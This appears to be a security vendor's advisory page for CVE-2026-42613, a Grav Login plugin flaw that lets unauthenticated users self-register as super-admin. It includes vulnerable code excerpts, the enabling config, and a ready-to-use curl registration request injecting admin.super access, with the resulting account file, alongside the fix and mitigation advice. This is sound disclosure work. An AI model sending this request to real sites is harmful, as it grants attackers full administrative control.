CVE-2026-42613 is a critical-severity (CVSS 9.4) Improper Input Validation vulnerability in getgrav/grav. A fix is available for getgrav/grav — see the affected versions and patch details below.
Grav: Privilege Escalation via Missing Server-Side Validation of groups/access
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42613.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-42613 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
getgrav/gravReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Bug Report: Registration Privilege Escalation via Missing Server-Side Validation of groups/access
Summary
The Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request.
This is a missing server-side validation issue — the only defense is a config-level fields allowlist, which is an admin-facing setting, not a hardcoded security boundary.
Affected Component
- File:
user/plugins/login/classes/Login.php, lines 246-306 - Method:
Login::register() - Validation:
Login::validateField(), lines 363-432 - Plugin: Login Plugin 3.8.0
- Grav: 1.8.0-beta.29
Root Cause
In register() (lines 254-267), the groups and access fields are only set to config defaults if they are not already present in the input data:
// Line 254-260
if (!isset($data['groups'])) {
$groups = (array) $this->config->get('plugins.login.user_registration.groups', []);
if (count($groups) > 0) {
$data['groups'] = $groups;
}
}
// Line 262-267
if (!isset($data['access'])) {
$access = (array) $this->config->get('plugins.login.user_registration.access.site', []);
if (count($access) > 0) {
$data['access']['site'] = $access;
}
}
If an attacker includes groups or access in the POST body, the !isset() check passes and the config defaults are skipped. The attacker's values flow through unchanged.
Later (lines 298-303), these values are assigned directly to the user object:
if (isset($data['groups'])) {
$user->groups = $data['groups']; // attacker-controlled
}
if (isset($data['access'])) {
$user->access = $data['access']; // attacker-controlled
}
$user->save();
The validateField() method (lines 363-432) has a switch statement that only validates: username, password, password2, email, permissions, state, and language. The groups and access fields pass through the default case with no validation at all.
Precondition
Registration must be enabled with groups and/or access in the configured allowed fields:
# user/config/plugins/login.yaml
user_registration:
enabled: true
fields:
- username
- password
- email
- fullname
- groups # ← enables the attack
- access # ← enables the attack
This is a configuration the admin UI allows without any warning. An admin adding groups to let users pick a non-privileged group (e.g., editors) unknowingly exposes the escalation path, since there is no validation constraining which groups can be selected.
Proof of Concept
Malicious registration request (unauthenticated):
curl -X POST "${TARGET}/user_register" \
--data-urlencode "data[username]=attacker" \
--data-urlencode "data[password1]=Str0ngP@ss!" \
--data-urlencode "data[password2]=Str0ngP@ss!" \
--data-urlencode "data[email][email protected]" \
--data-urlencode "data[fullname]=Attacker" \
--data-urlencode "data[groups][]=admins" \
--data-urlencode "data[access][admin][login]=true" \
--data-urlencode "data[access][admin][super]=true" \
--data-urlencode "data[access][site][login]=true" \
--data-urlencode "form-nonce=${FORM_NONCE}" \
--data-urlencode "__form-name__=user_register" \
--data-urlencode "__unique_form_id__=${FORM_UID}"
Resulting account file (user/accounts/attacker.yaml):
email: [email protected]
fullname: Attacker
groups:
- admins
access:
admin:
login: true
super: true
site:
login: true
hashed_password: ...
state: enabled
The attacker can then log into /admin with full super-admin privileges.
Impact
- Severity: Critical (when precondition is met)
- Vector: Unauthenticated → Super Admin
- Escalation: Full admin panel access, which chains to RCE via known admin vectors https://github.com/getgrav/grav/security/advisories/GHSA-4fg4-8cr8-326m or Plugin Upload
- Precondition: Registration enabled with
groupsoraccessin allowed fields — a configuration the admin UI permits without warning
Environment
- Grav Core: 1.8.0-beta.29
- Login Plugin: 3.8.0
- PHP: 8.4.11
Credits
Jonathan Dersch at Hacking Cult GmbH https://hackingcult.de/
Maintainer note — fix applied (2026-04-24)
Fixed in grav-plugin-login 3.8.2 (commit 3d419a0). On the Grav 2.0 line, the login plugin is pinned at >=3.8.2 by admin2's blueprints.yaml, so sites running admin2 with Grav 2.0.0-beta.2 pick the fix up automatically.
What changed: the registration form handler now explicitly skips the groups and access privilege fields in the per-field input loop — even if an administrator added them to user_registration.fields. A warning is logged on any attempted injection. Server-side default_values, invitations, and the user_registration.{groups,access} config remain the sole sources of those values.
Files:
login.php— form handler privilege-field strip.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | getgrav/grav | all versions | 2.0.0-beta.2composer require getgrav/grav:^2.0.0-beta.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for getgrav/grav, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update getgrav/grav to 2.0.0-beta.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-42613 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-42613 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-42613. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-42613 in your dependencies?
O3 Security finds CVE-2026-42613 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.